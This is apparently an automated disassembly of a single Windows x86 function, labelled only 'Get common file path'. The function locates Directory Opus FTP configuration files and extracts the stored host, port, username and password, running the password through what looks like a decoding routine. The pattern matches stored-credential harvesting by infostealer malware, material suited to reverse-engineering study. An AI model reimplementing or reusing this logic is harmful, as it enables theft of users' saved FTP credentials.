Function at 0x4322d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6d78
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1f53]
push edi
xor ebx, ebx
mov edi, ecx
push 0x3e7
push ebx
push eax
mov byte [ebp - 0x1f54], bl
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1b6c], bl
lea eax, [ebp - 0x1b6b]
push 0x3e7
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov dword [ebp - 0x10], 0x2e707466
mov dword [ebp - 0xc], 0x63786f
push esi
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x43237d
lea eax, [ebp - 0x1b6c]
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x432370
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
mov eax, str._sGPSoftwareDirectory_OpusConfigFiles_s
lea esi, [ebp - 0x1b6c]
jmp 0x432382
mov eax, str._sConfigFiles_s
lea ecx, [ebp - 0x10]
push ecx
push esi
push eax
lea eax, [ebp - 0x1f54]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
mov dword [ebp - 0x6d78], ebx
lea eax, [ebp - 0x1f54]
push 0x6c63d0
push eax
lea eax, [ebp - 0x6d78]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x43235d
cmp dword [ebp - 0x6d78], ebx
je 0x43235d
mov esi, 0x3e7
mov byte [ebp - 0xfb4], bl
push esi
lea eax, [ebp - 0xfb3]
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xbcc], bl
lea eax, [ebp - 0xbcb]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x139c], bl
lea eax, [ebp - 0x139b]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7e4], bl
lea eax, [ebp - 0x7e3]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3fc], bl
lea eax, [ebp - 0x3fb]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1784], bl
lea eax, [ebp - 0x1783]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
jmp 0x43279b
lea eax, [ebp - 0x6d74]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x43248e
lea eax, [ebp - 0x6d74]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x2710
jae 0x4327d1
mov byte [ebp + eax - 0x6d74], bl
lea ecx, [ebp - 0x6d74]
call fcn.004046b4
lea ecx, [ebp - 0x6d74]
call fcn.004047e7
lea eax, [ebp - 0x6d74]
push eax
lea eax, [ebp - 0x4664]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x4664]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x4664]
push eax
call fcn.0064ffd4
push str._host
mov byte [ebp - 0x139c], bl
mov byte [ebp - 0x3fc], bl
mov byte [ebp - 0x7e4], bl
mov byte [ebp - 0xbcc], bl
mov byte [ebp - 0xfb4], bl
call fcn.00643470
add esp, 0xc
push eax
lea eax, [ebp - 0x4664]
push str._host
push eax
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x43279b
lea eax, [ebp - 0x4664]
push str.host
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x432597
push str.host
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4664]
sub esi, ecx
lea ecx, [ebp - 0x6d74]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
jne 0x432574
push 0x2f
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x432597
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x7e4]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea ecx, [ebp - 0x7e4]
call fcn.004047e7
lea eax, [ebp - 0x4664]
push str.port
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x43260c
push str.port
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4664]
sub esi, ecx
lea ecx, [ebp - 0x6d74]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
jne 0x4325e9
push 0x2f
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x43260c
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x3fc]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea ecx, [ebp - 0x3fc]
call fcn.004047e7
lea eax, [ebp - 0x4664]
push str.user
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x432681
push str.user
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4664]
sub esi, ecx
lea ecx, [ebp - 0x6d74]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
jne 0x43265e
push 0x2f
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x432681
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x139c]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea ecx, [ebp - 0x139c]
call fcn.004047e7
lea eax, [ebp - 0x4664]
push str.pass
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x43279b
push str.pass
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4664]
sub esi, ecx
lea ecx, [ebp - 0x6d74]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
jne 0x4326db
push 0x2f
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x43279b
sub eax, esi
push eax
push esi
mov esi, 0x3e8
lea eax, [ebp - 0xbcc]
push esi
push eax
call fcn.00650b7d
lea ecx, [ebp - 0xbcc]
call fcn.004047e7
add esp, 0xc
lea edx, [ebp - 0xfb4]
lea ecx, [ebp - 0xbcc]
call fcn.0043223e
pop ecx
lea eax, [ebp - 0xfb4]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x43279b
lea eax, [ebp - 0x3fc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x432758
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x7e4]
push eax
push str._s:_s
lea eax, [ebp - 0x1784]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x43276f
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0x1784]
push esi
push eax
call fcn.006494f3
add esp, 0xc
push 0xffffffffffffffff
mov esi, 0x6c5bb9
lea eax, [ebp - 0xfb4]
push esi
push eax
lea eax, [ebp - 0x139c]
mov ecx, edi
push eax
lea eax, [ebp - 0x1784]
push eax
push esi
push 0x14f
push 4
call fcn.0043ee6b
push dword [ebp - 0x6d78]
lea eax, [ebp - 0x6d74]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x43245d
push dword [ebp - 0x6d78]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x43235f
call fcn.00612782
int3